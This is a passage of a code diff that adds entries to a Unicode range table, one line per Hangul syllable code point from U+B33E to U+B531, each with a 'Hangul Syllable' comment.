+ ["\uB33E", "\uB33E"], /* Hangul Syllable */
+ ["\uB33F", "\uB33F"], /* Hangul Syllable */
+ ["\uB340", "\uB340"], /* Hangul Syllable */
+ ["\uB341", "\uB341"], /* Hangul Syllable */
+ ["\uB342", "\uB342"], /* Hangul Syllable */
+ ["\uB343", "\uB343"], /* Hangul Syllable */
+ ["\uB344", "\uB344"], /* Hangul Syllable */
+ ["\uB345", "\uB345"], /* Hangul Syllable */
+ ["\uB346", "\uB346"], /* Hangul Syllable */
+ ["\uB347", "\uB347"], /* Hangul Syllable */
+ ["\uB348", "\uB348"], /* Hangul Syllable */
+ ["\uB349", "\uB349"], /* Hangul Syllable */
+ ["\uB34A", "\uB34A"], /* Hangul Syllable */
+ ["\uB34B", "\uB34B"], /* Hangul Syllable */
+ ["\uB34C", "\uB34C"], /* Hangul Syllable */
+ ["\uB34D", "\uB34D"], /* Hangul Syllable */
+ ["\uB34E", "\uB34E"], /* Hangul Syllable */
+ ["\uB34F", "\uB34F"], /* Hangul Syllable */
+ ["\uB350", "\uB350"], /* Hangul Syllable */
+ ["\uB351", "\uB351"], /* Hangul Syllable */
+ ["\uB352", "\uB352"], /* Hangul Syllable */
+ ["\uB353", "\uB353"], /* Hangul Syllable */
+ ["\uB354", "\uB354"], /* Hangul Syllable */
+ ["\uB355", "\uB355"], /* Hangul Syllable */
+ ["\uB356", "\uB356"], /* Hangul Syllable */
+ ["\uB357", "\uB357"], /* Hangul Syllable */
+ ["\uB358", "\uB358"], /* Hangul Syllable */
+ ["\uB359", "\uB359"], /* Hangul Syllable */
+ ["\uB35A", "\uB35A"], /* Hangul Syllable */
+ ["\uB35B", "\uB35B"], /* Hangul Syllable */
+ ["\uB35C", "\uB35C"], /* Hangul Syllable */
+ ["\uB35D", "\uB35D"], /* Hangul Syllable */
+ ["\uB35E", "\uB35E"], /* Hangul Syllable */
+ ["\uB35F", "\uB35F"], /* Hangul Syllable */
+ ["\uB360", "\uB360"], /* Hangul Syllable */
+ ["\uB361", "\uB361"], /* Hangul Syllable */
+ ["\uB362", "\uB362"], /* Hangul Syllable */
+ ["\uB363", "\uB363"], /* Hangul Syllable */
+ ["\uB364", "\uB364"], /* Hangul Syllable */
+ ["\uB365", "\uB365"], /* Hangul Syllable */
+ ["\uB366", "\uB366"], /* Hangul Syllable */
+ ["\uB367", "\uB367"], /* Hangul Syllable */
+ ["\uB368", "\uB368"], /* Hangul Syllable */
+ ["\uB369", "\uB369"], /* Hangul Syllable */
+ ["\uB36A", "\uB36A"], /* Hangul Syllable */
+ ["\uB36B", "\uB36B"], /* Hangul Syllable */
+ ["\uB36C", "\uB36C"], /* Hangul Syllable */
+ ["\uB36D", "\uB36D"], /* Hangul Syllable */
+ ["\uB36E", "\uB36E"], /* Hangul Syllable */
+ ["\uB36F", "\uB36F"], /* Hangul Syllable */
+ ["\uB370", "\uB370"], /* Hangul Syllable */
+ ["\uB371", "\uB371"], /* Hangul Syllable */
+ ["\uB372", "\uB372"], /* Hangul Syllable */
+ ["\uB373", "\uB373"], /* Hangul Syllable */
+ ["\uB374", "\uB374"], /* Hangul Syllable */
+ ["\uB375", "\uB375"], /* Hangul Syllable */
+ ["\uB376", "\uB376"], /* Hangul Syllable */
+ ["\uB377", "\uB377"], /* Hangul Syllable */
+ ["\uB378", "\uB378"], /* Hangul Syllable */
+ ["\uB379", "\uB379"], /* Hangul Syllable */
+ ["\uB37A", "\uB37A"], /* Hangul Syllable */
+ ["\uB37B", "\uB37B"], /* Hangul Syllable */
+ ["\uB37C", "\uB37C"], /* Hangul Syllable */
+ ["\uB37D", "\uB37D"], /* Hangul Syllable */
+ ["\uB37E", "\uB37E"], /* Hangul Syllable */
+ ["\uB37F", "\uB37F"], /* Hangul Syllable */
+ ["\uB380", "\uB380"], /* Hangul Syllable */
+ ["\uB381", "\uB381"], /* Hangul Syllable */
+ ["\uB382", "\uB382"], /* Hangul Syllable */
+ ["\uB383", "\uB383"], /* Hangul Syllable */
+ ["\uB384", "\uB384"], /* Hangul Syllable */
+ ["\uB385", "\uB385"], /* Hangul Syllable */
+ ["\uB386", "\uB386"], /* Hangul Syllable */
+ ["\uB387", "\uB387"], /* Hangul Syllable */
+ ["\uB388", "\uB388"], /* Hangul Syllable */
+ ["\uB389", "\uB389"], /* Hangul Syllable */
+ ["\uB38A", "\uB38A"], /* Hangul Syllable */
+ ["\uB38B", "\uB38B"], /* Hangul Syllable */
+ ["\uB38C", "\uB38C"], /* Hangul Syllable */
+ ["\uB38D", "\uB38D"], /* Hangul Syllable */
+ ["\uB38E", "\uB38E"], /* Hangul Syllable */
+ ["\uB38F", "\uB38F"], /* Hangul Syllable */
+ ["\uB390", "\uB390"], /* Hangul Syllable */
+ ["\uB391", "\uB391"], /* Hangul Syllable */
+ ["\uB392", "\uB392"], /* Hangul Syllable */
+ ["\uB393", "\uB393"], /* Hangul Syllable */
+ ["\uB394", "\uB394"], /* Hangul Syllable */
+ ["\uB395", "\uB395"], /* Hangul Syllable */
+ ["\uB396", "\uB396"], /* Hangul Syllable */
+ ["\uB397", "\uB397"], /* Hangul Syllable */
+ ["\uB398", "\uB398"], /* Hangul Syllable */
+ ["\uB399", "\uB399"], /* Hangul Syllable */
+ ["\uB39A", "\uB39A"], /* Hangul Syllable */
+ ["\uB39B", "\uB39B"], /* Hangul Syllable */
+ ["\uB39C", "\uB39C"], /* Hangul Syllable */
+ ["\uB39D", "\uB39D"], /* Hangul Syllable */
+ ["\uB39E", "\uB39E"], /* Hangul Syllable */
+ ["\uB39F", "\uB39F"], /* Hangul Syllable */
+ ["\uB3A0", "\uB3A0"], /* Hangul Syllable */
+ ["\uB3A1", "\uB3A1"], /* Hangul Syllable */
+ ["\uB3A2", "\uB3A2"], /* Hangul Syllable */
+ ["\uB3A3", "\uB3A3"], /* Hangul Syllable */
+ ["\uB3A4", "\uB3A4"], /* Hangul Syllable */
+ ["\uB3A5", "\uB3A5"], /* Hangul Syllable */
+ ["\uB3A6", "\uB3A6"], /* Hangul Syllable */
+ ["\uB3A7", "\uB3A7"], /* Hangul Syllable */
+ ["\uB3A8", "\uB3A8"], /* Hangul Syllable */
+ ["\uB3A9", "\uB3A9"], /* Hangul Syllable */
+ ["\uB3AA", "\uB3AA"], /* Hangul Syllable */
+ ["\uB3AB", "\uB3AB"], /* Hangul Syllable */
+ ["\uB3AC", "\uB3AC"], /* Hangul Syllable */
+ ["\uB3AD", "\uB3AD"], /* Hangul Syllable */
+ ["\uB3AE", "\uB3AE"], /* Hangul Syllable */
+ ["\uB3AF", "\uB3AF"], /* Hangul Syllable */
+ ["\uB3B0", "\uB3B0"], /* Hangul Syllable */
+ ["\uB3B1", "\uB3B1"], /* Hangul Syllable */
+ ["\uB3B2", "\uB3B2"], /* Hangul Syllable */
+ ["\uB3B3", "\uB3B3"], /* Hangul Syllable */
+ ["\uB3B4", "\uB3B4"], /* Hangul Syllable */
+ ["\uB3B5", "\uB3B5"], /* Hangul Syllable */
+ ["\uB3B6", "\uB3B6"], /* Hangul Syllable */
+ ["\uB3B7", "\uB3B7"], /* Hangul Syllable */
+ ["\uB3B8", "\uB3B8"], /* Hangul Syllable */
+ ["\uB3B9", "\uB3B9"], /* Hangul Syllable */
+ ["\uB3BA", "\uB3BA"], /* Hangul Syllable */
+ ["\uB3BB", "\uB3BB"], /* Hangul Syllable */
+ ["\uB3BC", "\uB3BC"], /* Hangul Syllable */
+ ["\uB3BD", "\uB3BD"], /* Hangul Syllable */
+ ["\uB3BE", "\uB3BE"], /* Hangul Syllable */
+ ["\uB3BF", "\uB3BF"], /* Hangul Syllable */
+ ["\uB3C0", "\uB3C0"], /* Hangul Syllable */
+ ["\uB3C1", "\uB3C1"], /* Hangul Syllable */
+ ["\uB3C2", "\uB3C2"], /* Hangul Syllable */
+ ["\uB3C3", "\uB3C3"], /* Hangul Syllable */
+ ["\uB3C4", "\uB3C4"], /* Hangul Syllable */
+ ["\uB3C5", "\uB3C5"], /* Hangul Syllable */
+ ["\uB3C6", "\uB3C6"], /* Hangul Syllable */
+ ["\uB3C7", "\uB3C7"], /* Hangul Syllable */
+ ["\uB3C8", "\uB3C8"], /* Hangul Syllable */
+ ["\uB3C9", "\uB3C9"], /* Hangul Syllable */
+ ["\uB3CA", "\uB3CA"], /* Hangul Syllable */
+ ["\uB3CB", "\uB3CB"], /* Hangul Syllable */
+ ["\uB3CC", "\uB3CC"], /* Hangul Syllable */
+ ["\uB3CD", "\uB3CD"], /* Hangul Syllable */
+ ["\uB3CE", "\uB3CE"], /* Hangul Syllable */
+ ["\uB3CF", "\uB3CF"], /* Hangul Syllable */
+ ["\uB3D0", "\uB3D0"], /* Hangul Syllable */
+ ["\uB3D1", "\uB3D1"], /* Hangul Syllable */
+ ["\uB3D2", "\uB3D2"], /* Hangul Syllable */
+ ["\uB3D3", "\uB3D3"], /* Hangul Syllable */
+ ["\uB3D4", "\uB3D4"], /* Hangul Syllable */
+ ["\uB3D5", "\uB3D5"], /* Hangul Syllable */
+ ["\uB3D6", "\uB3D6"], /* Hangul Syllable */
+ ["\uB3D7", "\uB3D7"], /* Hangul Syllable */
+ ["\uB3D8", "\uB3D8"], /* Hangul Syllable */
+ ["\uB3D9", "\uB3D9"], /* Hangul Syllable */
+ ["\uB3DA", "\uB3DA"], /* Hangul Syllable */
+ ["\uB3DB", "\uB3DB"], /* Hangul Syllable */
+ ["\uB3DC", "\uB3DC"], /* Hangul Syllable */
+ ["\uB3DD", "\uB3DD"], /* Hangul Syllable */
+ ["\uB3DE", "\uB3DE"], /* Hangul Syllable */
+ ["\uB3DF", "\uB3DF"], /* Hangul Syllable */
+ ["\uB3E0", "\uB3E0"], /* Hangul Syllable */
+ ["\uB3E1", "\uB3E1"], /* Hangul Syllable */
+ ["\uB3E2", "\uB3E2"], /* Hangul Syllable */
+ ["\uB3E3", "\uB3E3"], /* Hangul Syllable */
+ ["\uB3E4", "\uB3E4"], /* Hangul Syllable */
+ ["\uB3E5", "\uB3E5"], /* Hangul Syllable */
+ ["\uB3E6", "\uB3E6"], /* Hangul Syllable */
+ ["\uB3E7", "\uB3E7"], /* Hangul Syllable */
+ ["\uB3E8", "\uB3E8"], /* Hangul Syllable */
+ ["\uB3E9", "\uB3E9"], /* Hangul Syllable */
+ ["\uB3EA", "\uB3EA"], /* Hangul Syllable */
+ ["\uB3EB", "\uB3EB"], /* Hangul Syllable */
+ ["\uB3EC", "\uB3EC"], /* Hangul Syllable */
+ ["\uB3ED", "\uB3ED"], /* Hangul Syllable */
+ ["\uB3EE", "\uB3EE"], /* Hangul Syllable */
+ ["\uB3EF", "\uB3EF"], /* Hangul Syllable */
+ ["\uB3F0", "\uB3F0"], /* Hangul Syllable */
+ ["\uB3F1", "\uB3F1"], /* Hangul Syllable */
+ ["\uB3F2", "\uB3F2"], /* Hangul Syllable */
+ ["\uB3F3", "\uB3F3"], /* Hangul Syllable */
+ ["\uB3F4", "\uB3F4"], /* Hangul Syllable */
+ ["\uB3F5", "\uB3F5"], /* Hangul Syllable */
+ ["\uB3F6", "\uB3F6"], /* Hangul Syllable */
+ ["\uB3F7", "\uB3F7"], /* Hangul Syllable */
+ ["\uB3F8", "\uB3F8"], /* Hangul Syllable */
+ ["\uB3F9", "\uB3F9"], /* Hangul Syllable */
+ ["\uB3FA", "\uB3FA"], /* Hangul Syllable */
+ ["\uB3FB", "\uB3FB"], /* Hangul Syllable */
+ ["\uB3FC", "\uB3FC"], /* Hangul Syllable */
+ ["\uB3FD", "\uB3FD"], /* Hangul Syllable */
+ ["\uB3FE", "\uB3FE"], /* Hangul Syllable */
+ ["\uB3FF", "\uB3FF"], /* Hangul Syllable */
+ ["\uB400", "\uB400"], /* Hangul Syllable */
+ ["\uB401", "\uB401"], /* Hangul Syllable */
+ ["\uB402", "\uB402"], /* Hangul Syllable */
+ ["\uB403", "\uB403"], /* Hangul Syllable */
+ ["\uB404", "\uB404"], /* Hangul Syllable */
+ ["\uB405", "\uB405"], /* Hangul Syllable */
+ ["\uB406", "\uB406"], /* Hangul Syllable */
+ ["\uB407", "\uB407"], /* Hangul Syllable */
+ ["\uB408", "\uB408"], /* Hangul Syllable */
+ ["\uB409", "\uB409"], /* Hangul Syllable */
+ ["\uB40A", "\uB40A"], /* Hangul Syllable */
+ ["\uB40B", "\uB40B"], /* Hangul Syllable */
+ ["\uB40C", "\uB40C"], /* Hangul Syllable */
+ ["\uB40D", "\uB40D"], /* Hangul Syllable */
+ ["\uB40E", "\uB40E"], /* Hangul Syllable */
+ ["\uB40F", "\uB40F"], /* Hangul Syllable */
+ ["\uB410", "\uB410"], /* Hangul Syllable */
+ ["\uB411", "\uB411"], /* Hangul Syllable */
+ ["\uB412", "\uB412"], /* Hangul Syllable */
+ ["\uB413", "\uB413"], /* Hangul Syllable */
+ ["\uB414", "\uB414"], /* Hangul Syllable */
+ ["\uB415", "\uB415"], /* Hangul Syllable */
+ ["\uB416", "\uB416"], /* Hangul Syllable */
+ ["\uB417", "\uB417"], /* Hangul Syllable */
+ ["\uB418", "\uB418"], /* Hangul Syllable */
+ ["\uB419", "\uB419"], /* Hangul Syllable */
+ ["\uB41A", "\uB41A"], /* Hangul Syllable */
+ ["\uB41B", "\uB41B"], /* Hangul Syllable */
+ ["\uB41C", "\uB41C"], /* Hangul Syllable */
+ ["\uB41D", "\uB41D"], /* Hangul Syllable */
+ ["\uB41E", "\uB41E"], /* Hangul Syllable */
+ ["\uB41F", "\uB41F"], /* Hangul Syllable */
+ ["\uB420", "\uB420"], /* Hangul Syllable */
+ ["\uB421", "\uB421"], /* Hangul Syllable */
+ ["\uB422", "\uB422"], /* Hangul Syllable */
+ ["\uB423", "\uB423"], /* Hangul Syllable */
+ ["\uB424", "\uB424"], /* Hangul Syllable */
+ ["\uB425", "\uB425"], /* Hangul Syllable */
+ ["\uB426", "\uB426"], /* Hangul Syllable */
+ ["\uB427", "\uB427"], /* Hangul Syllable */
+ ["\uB428", "\uB428"], /* Hangul Syllable */
+ ["\uB429", "\uB429"], /* Hangul Syllable */
+ ["\uB42A", "\uB42A"], /* Hangul Syllable */
+ ["\uB42B", "\uB42B"], /* Hangul Syllable */
+ ["\uB42C", "\uB42C"], /* Hangul Syllable */
+ ["\uB42D", "\uB42D"], /* Hangul Syllable */
+ ["\uB42E", "\uB42E"], /* Hangul Syllable */
+ ["\uB42F", "\uB42F"], /* Hangul Syllable */
+ ["\uB430", "\uB430"], /* Hangul Syllable */
+ ["\uB431", "\uB431"], /* Hangul Syllable */
+ ["\uB432", "\uB432"], /* Hangul Syllable */
+ ["\uB433", "\uB433"], /* Hangul Syllable */
+ ["\uB434", "\uB434"], /* Hangul Syllable */
+ ["\uB435", "\uB435"], /* Hangul Syllable */
+ ["\uB436", "\uB436"], /* Hangul Syllable */
+ ["\uB437", "\uB437"], /* Hangul Syllable */
+ ["\uB438", "\uB438"], /* Hangul Syllable */
+ ["\uB439", "\uB439"], /* Hangul Syllable */
+ ["\uB43A", "\uB43A"], /* Hangul Syllable */
+ ["\uB43B", "\uB43B"], /* Hangul Syllable */
+ ["\uB43C", "\uB43C"], /* Hangul Syllable */
+ ["\uB43D", "\uB43D"], /* Hangul Syllable */
+ ["\uB43E", "\uB43E"], /* Hangul Syllable */
+ ["\uB43F", "\uB43F"], /* Hangul Syllable */
+ ["\uB440", "\uB440"], /* Hangul Syllable */
+ ["\uB441", "\uB441"], /* Hangul Syllable */
+ ["\uB442", "\uB442"], /* Hangul Syllable */
+ ["\uB443", "\uB443"], /* Hangul Syllable */
+ ["\uB444", "\uB444"], /* Hangul Syllable */
+ ["\uB445", "\uB445"], /* Hangul Syllable */
+ ["\uB446", "\uB446"], /* Hangul Syllable */
+ ["\uB447", "\uB447"], /* Hangul Syllable */
+ ["\uB448", "\uB448"], /* Hangul Syllable */
+ ["\uB449", "\uB449"], /* Hangul Syllable */
+ ["\uB44A", "\uB44A"], /* Hangul Syllable */
+ ["\uB44B", "\uB44B"], /* Hangul Syllable */
+ ["\uB44C", "\uB44C"], /* Hangul Syllable */
+ ["\uB44D", "\uB44D"], /* Hangul Syllable */
+ ["\uB44E", "\uB44E"], /* Hangul Syllable */
+ ["\uB44F", "\uB44F"], /* Hangul Syllable */
+ ["\uB450", "\uB450"], /* Hangul Syllable */
+ ["\uB451", "\uB451"], /* Hangul Syllable */
+ ["\uB452", "\uB452"], /* Hangul Syllable */
+ ["\uB453", "\uB453"], /* Hangul Syllable */
+ ["\uB454", "\uB454"], /* Hangul Syllable */
+ ["\uB455", "\uB455"], /* Hangul Syllable */
+ ["\uB456", "\uB456"], /* Hangul Syllable */
+ ["\uB457", "\uB457"], /* Hangul Syllable */
+ ["\uB458", "\uB458"], /* Hangul Syllable */
+ ["\uB459", "\uB459"], /* Hangul Syllable */
+ ["\uB45A", "\uB45A"], /* Hangul Syllable */
+ ["\uB45B", "\uB45B"], /* Hangul Syllable */
+ ["\uB45C", "\uB45C"], /* Hangul Syllable */
+ ["\uB45D", "\uB45D"], /* Hangul Syllable */
+ ["\uB45E", "\uB45E"], /* Hangul Syllable */
+ ["\uB45F", "\uB45F"], /* Hangul Syllable */
+ ["\uB460", "\uB460"], /* Hangul Syllable */
+ ["\uB461", "\uB461"], /* Hangul Syllable */
+ ["\uB462", "\uB462"], /* Hangul Syllable */
+ ["\uB463", "\uB463"], /* Hangul Syllable */
+ ["\uB464", "\uB464"], /* Hangul Syllable */
+ ["\uB465", "\uB465"], /* Hangul Syllable */
+ ["\uB466", "\uB466"], /* Hangul Syllable */
+ ["\uB467", "\uB467"], /* Hangul Syllable */
+ ["\uB468", "\uB468"], /* Hangul Syllable */
+ ["\uB469", "\uB469"], /* Hangul Syllable */
+ ["\uB46A", "\uB46A"], /* Hangul Syllable */
+ ["\uB46B", "\uB46B"], /* Hangul Syllable */
+ ["\uB46C", "\uB46C"], /* Hangul Syllable */
+ ["\uB46D", "\uB46D"], /* Hangul Syllable */
+ ["\uB46E", "\uB46E"], /* Hangul Syllable */
+ ["\uB46F", "\uB46F"], /* Hangul Syllable */
+ ["\uB470", "\uB470"], /* Hangul Syllable */
+ ["\uB471", "\uB471"], /* Hangul Syllable */
+ ["\uB472", "\uB472"], /* Hangul Syllable */
+ ["\uB473", "\uB473"], /* Hangul Syllable */
+ ["\uB474", "\uB474"], /* Hangul Syllable */
+ ["\uB475", "\uB475"], /* Hangul Syllable */
+ ["\uB476", "\uB476"], /* Hangul Syllable */
+ ["\uB477", "\uB477"], /* Hangul Syllable */
+ ["\uB478", "\uB478"], /* Hangul Syllable */
+ ["\uB479", "\uB479"], /* Hangul Syllable */
+ ["\uB47A", "\uB47A"], /* Hangul Syllable */
+ ["\uB47B", "\uB47B"], /* Hangul Syllable */
+ ["\uB47C", "\uB47C"], /* Hangul Syllable */
+ ["\uB47D", "\uB47D"], /* Hangul Syllable */
+ ["\uB47E", "\uB47E"], /* Hangul Syllable */
+ ["\uB47F", "\uB47F"], /* Hangul Syllable */
+ ["\uB480", "\uB480"], /* Hangul Syllable */
+ ["\uB481", "\uB481"], /* Hangul Syllable */
+ ["\uB482", "\uB482"], /* Hangul Syllable */
+ ["\uB483", "\uB483"], /* Hangul Syllable */
+ ["\uB484", "\uB484"], /* Hangul Syllable */
+ ["\uB485", "\uB485"], /* Hangul Syllable */
+ ["\uB486", "\uB486"], /* Hangul Syllable */
+ ["\uB487", "\uB487"], /* Hangul Syllable */
+ ["\uB488", "\uB488"], /* Hangul Syllable */
+ ["\uB489", "\uB489"], /* Hangul Syllable */
+ ["\uB48A", "\uB48A"], /* Hangul Syllable */
+ ["\uB48B", "\uB48B"], /* Hangul Syllable */
+ ["\uB48C", "\uB48C"], /* Hangul Syllable */
+ ["\uB48D", "\uB48D"], /* Hangul Syllable */
+ ["\uB48E", "\uB48E"], /* Hangul Syllable */
+ ["\uB48F", "\uB48F"], /* Hangul Syllable */
+ ["\uB490", "\uB490"], /* Hangul Syllable */
+ ["\uB491", "\uB491"], /* Hangul Syllable */
+ ["\uB492", "\uB492"], /* Hangul Syllable */
+ ["\uB493", "\uB493"], /* Hangul Syllable */
+ ["\uB494", "\uB494"], /* Hangul Syllable */
+ ["\uB495", "\uB495"], /* Hangul Syllable */
+ ["\uB496", "\uB496"], /* Hangul Syllable */
+ ["\uB497", "\uB497"], /* Hangul Syllable */
+ ["\uB498", "\uB498"], /* Hangul Syllable */
+ ["\uB499", "\uB499"], /* Hangul Syllable */
+ ["\uB49A", "\uB49A"], /* Hangul Syllable */
+ ["\uB49B", "\uB49B"], /* Hangul Syllable */
+ ["\uB49C", "\uB49C"], /* Hangul Syllable */
+ ["\uB49D", "\uB49D"], /* Hangul Syllable */
+ ["\uB49E", "\uB49E"], /* Hangul Syllable */
+ ["\uB49F", "\uB49F"], /* Hangul Syllable */
+ ["\uB4A0", "\uB4A0"], /* Hangul Syllable */
+ ["\uB4A1", "\uB4A1"], /* Hangul Syllable */
+ ["\uB4A2", "\uB4A2"], /* Hangul Syllable */
+ ["\uB4A3", "\uB4A3"], /* Hangul Syllable */
+ ["\uB4A4", "\uB4A4"], /* Hangul Syllable */
+ ["\uB4A5", "\uB4A5"], /* Hangul Syllable */
+ ["\uB4A6", "\uB4A6"], /* Hangul Syllable */
+ ["\uB4A7", "\uB4A7"], /* Hangul Syllable */
+ ["\uB4A8", "\uB4A8"], /* Hangul Syllable */
+ ["\uB4A9", "\uB4A9"], /* Hangul Syllable */
+ ["\uB4AA", "\uB4AA"], /* Hangul Syllable */
+ ["\uB4AB", "\uB4AB"], /* Hangul Syllable */
+ ["\uB4AC", "\uB4AC"], /* Hangul Syllable */
+ ["\uB4AD", "\uB4AD"], /* Hangul Syllable */
+ ["\uB4AE", "\uB4AE"], /* Hangul Syllable */
+ ["\uB4AF", "\uB4AF"], /* Hangul Syllable */
+ ["\uB4B0", "\uB4B0"], /* Hangul Syllable */
+ ["\uB4B1", "\uB4B1"], /* Hangul Syllable */
+ ["\uB4B2", "\uB4B2"], /* Hangul Syllable */
+ ["\uB4B3", "\uB4B3"], /* Hangul Syllable */
+ ["\uB4B4", "\uB4B4"], /* Hangul Syllable */
+ ["\uB4B5", "\uB4B5"], /* Hangul Syllable */
+ ["\uB4B6", "\uB4B6"], /* Hangul Syllable */
+ ["\uB4B7", "\uB4B7"], /* Hangul Syllable */
+ ["\uB4B8", "\uB4B8"], /* Hangul Syllable */
+ ["\uB4B9", "\uB4B9"], /* Hangul Syllable */
+ ["\uB4BA", "\uB4BA"], /* Hangul Syllable */
+ ["\uB4BB", "\uB4BB"], /* Hangul Syllable */
+ ["\uB4BC", "\uB4BC"], /* Hangul Syllable */
+ ["\uB4BD", "\uB4BD"], /* Hangul Syllable */
+ ["\uB4BE", "\uB4BE"], /* Hangul Syllable */
+ ["\uB4BF", "\uB4BF"], /* Hangul Syllable */
+ ["\uB4C0", "\uB4C0"], /* Hangul Syllable */
+ ["\uB4C1", "\uB4C1"], /* Hangul Syllable */
+ ["\uB4C2", "\uB4C2"], /* Hangul Syllable */
+ ["\uB4C3", "\uB4C3"], /* Hangul Syllable */
+ ["\uB4C4", "\uB4C4"], /* Hangul Syllable */
+ ["\uB4C5", "\uB4C5"], /* Hangul Syllable */
+ ["\uB4C6", "\uB4C6"], /* Hangul Syllable */
+ ["\uB4C7", "\uB4C7"], /* Hangul Syllable */
+ ["\uB4C8", "\uB4C8"], /* Hangul Syllable */
+ ["\uB4C9", "\uB4C9"], /* Hangul Syllable */
+ ["\uB4CA", "\uB4CA"], /* Hangul Syllable */
+ ["\uB4CB", "\uB4CB"], /* Hangul Syllable */
+ ["\uB4CC", "\uB4CC"], /* Hangul Syllable */
+ ["\uB4CD", "\uB4CD"], /* Hangul Syllable */
+ ["\uB4CE", "\uB4CE"], /* Hangul Syllable */
+ ["\uB4CF", "\uB4CF"], /* Hangul Syllable */
+ ["\uB4D0", "\uB4D0"], /* Hangul Syllable */
+ ["\uB4D1", "\uB4D1"], /* Hangul Syllable */
+ ["\uB4D2", "\uB4D2"], /* Hangul Syllable */
+ ["\uB4D3", "\uB4D3"], /* Hangul Syllable */
+ ["\uB4D4", "\uB4D4"], /* Hangul Syllable */
+ ["\uB4D5", "\uB4D5"], /* Hangul Syllable */
+ ["\uB4D6", "\uB4D6"], /* Hangul Syllable */
+ ["\uB4D7", "\uB4D7"], /* Hangul Syllable */
+ ["\uB4D8", "\uB4D8"], /* Hangul Syllable */
+ ["\uB4D9", "\uB4D9"], /* Hangul Syllable */
+ ["\uB4DA", "\uB4DA"], /* Hangul Syllable */
+ ["\uB4DB", "\uB4DB"], /* Hangul Syllable */
+ ["\uB4DC", "\uB4DC"], /* Hangul Syllable */
+ ["\uB4DD", "\uB4DD"], /* Hangul Syllable */
+ ["\uB4DE", "\uB4DE"], /* Hangul Syllable */
+ ["\uB4DF", "\uB4DF"], /* Hangul Syllable */
+ ["\uB4E0", "\uB4E0"], /* Hangul Syllable */
+ ["\uB4E1", "\uB4E1"], /* Hangul Syllable */
+ ["\uB4E2", "\uB4E2"], /* Hangul Syllable */
+ ["\uB4E3", "\uB4E3"], /* Hangul Syllable */
+ ["\uB4E4", "\uB4E4"], /* Hangul Syllable */
+ ["\uB4E5", "\uB4E5"], /* Hangul Syllable */
+ ["\uB4E6", "\uB4E6"], /* Hangul Syllable */
+ ["\uB4E7", "\uB4E7"], /* Hangul Syllable */
+ ["\uB4E8", "\uB4E8"], /* Hangul Syllable */
+ ["\uB4E9", "\uB4E9"], /* Hangul Syllable */
+ ["\uB4EA", "\uB4EA"], /* Hangul Syllable */
+ ["\uB4EB", "\uB4EB"], /* Hangul Syllable */
+ ["\uB4EC", "\uB4EC"], /* Hangul Syllable */
+ ["\uB4ED", "\uB4ED"], /* Hangul Syllable */
+ ["\uB4EE", "\uB4EE"], /* Hangul Syllable */
+ ["\uB4EF", "\uB4EF"], /* Hangul Syllable */
+ ["\uB4F0", "\uB4F0"], /* Hangul Syllable */
+ ["\uB4F1", "\uB4F1"], /* Hangul Syllable */
+ ["\uB4F2", "\uB4F2"], /* Hangul Syllable */
+ ["\uB4F3", "\uB4F3"], /* Hangul Syllable */
+ ["\uB4F4", "\uB4F4"], /* Hangul Syllable */
+ ["\uB4F5", "\uB4F5"], /* Hangul Syllable */
+ ["\uB4F6", "\uB4F6"], /* Hangul Syllable */
+ ["\uB4F7", "\uB4F7"], /* Hangul Syllable */
+ ["\uB4F8", "\uB4F8"], /* Hangul Syllable */
+ ["\uB4F9", "\uB4F9"], /* Hangul Syllable */
+ ["\uB4FA", "\uB4FA"], /* Hangul Syllable */
+ ["\uB4FB", "\uB4FB"], /* Hangul Syllable */
+ ["\uB4FC", "\uB4FC"], /* Hangul Syllable */
+ ["\uB4FD", "\uB4FD"], /* Hangul Syllable */
+ ["\uB4FE", "\uB4FE"], /* Hangul Syllable */
+ ["\uB4FF", "\uB4FF"], /* Hangul Syllable */
+ ["\uB500", "\uB500"], /* Hangul Syllable */
+ ["\uB501", "\uB501"], /* Hangul Syllable */
+ ["\uB502", "\uB502"], /* Hangul Syllable */
+ ["\uB503", "\uB503"], /* Hangul Syllable */
+ ["\uB504", "\uB504"], /* Hangul Syllable */
+ ["\uB505", "\uB505"], /* Hangul Syllable */
+ ["\uB506", "\uB506"], /* Hangul Syllable */
+ ["\uB507", "\uB507"], /* Hangul Syllable */
+ ["\uB508", "\uB508"], /* Hangul Syllable */
+ ["\uB509", "\uB509"], /* Hangul Syllable */
+ ["\uB50A", "\uB50A"], /* Hangul Syllable */
+ ["\uB50B", "\uB50B"], /* Hangul Syllable */
+ ["\uB50C", "\uB50C"], /* Hangul Syllable */
+ ["\uB50D", "\uB50D"], /* Hangul Syllable */
+ ["\uB50E", "\uB50E"], /* Hangul Syllable */
+ ["\uB50F", "\uB50F"], /* Hangul Syllable */
+ ["\uB510", "\uB510"], /* Hangul Syllable */
+ ["\uB511", "\uB511"], /* Hangul Syllable */
+ ["\uB512", "\uB512"], /* Hangul Syllable */
+ ["\uB513", "\uB513"], /* Hangul Syllable */
+ ["\uB514", "\uB514"], /* Hangul Syllable */
+ ["\uB515", "\uB515"], /* Hangul Syllable */
+ ["\uB516", "\uB516"], /* Hangul Syllable */
+ ["\uB517", "\uB517"], /* Hangul Syllable */
+ ["\uB518", "\uB518"], /* Hangul Syllable */
+ ["\uB519", "\uB519"], /* Hangul Syllable */
+ ["\uB51A", "\uB51A"], /* Hangul Syllable */
+ ["\uB51B", "\uB51B"], /* Hangul Syllable */
+ ["\uB51C", "\uB51C"], /* Hangul Syllable */
+ ["\uB51D", "\uB51D"], /* Hangul Syllable */
+ ["\uB51E", "\uB51E"], /* Hangul Syllable */
+ ["\uB51F", "\uB51F"], /* Hangul Syllable */
+ ["\uB520", "\uB520"], /* Hangul Syllable */
+ ["\uB521", "\uB521"], /* Hangul Syllable */
+ ["\uB522", "\uB522"], /* Hangul Syllable */
+ ["\uB523", "\uB523"], /* Hangul Syllable */
+ ["\uB524", "\uB524"], /* Hangul Syllable */
+ ["\uB525", "\uB525"], /* Hangul Syllable */
+ ["\uB526", "\uB526"], /* Hangul Syllable */
+ ["\uB527", "\uB527"], /* Hangul Syllable */
+ ["\uB528", "\uB528"], /* Hangul Syllable */
+ ["\uB529", "\uB529"], /* Hangul Syllable */
+ ["\uB52A", "\uB52A"], /* Hangul Syllable */
+ ["\uB52B", "\uB52B"], /* Hangul Syllable */
+ ["\uB52C", "\uB52C"], /* Hangul Syllable */
+ ["\uB52D", "\uB52D"], /* Hangul Syllable */
+ ["\uB52E", "\uB52E"], /* Hangul Syllable */
+ ["\uB52F", "\uB52F"], /* Hangul Syllable */
+ ["\uB530", "\uB530"], /* Hangul Syllable */
+ ["\uB531", "\uB531"], /* Hangul Syllable */
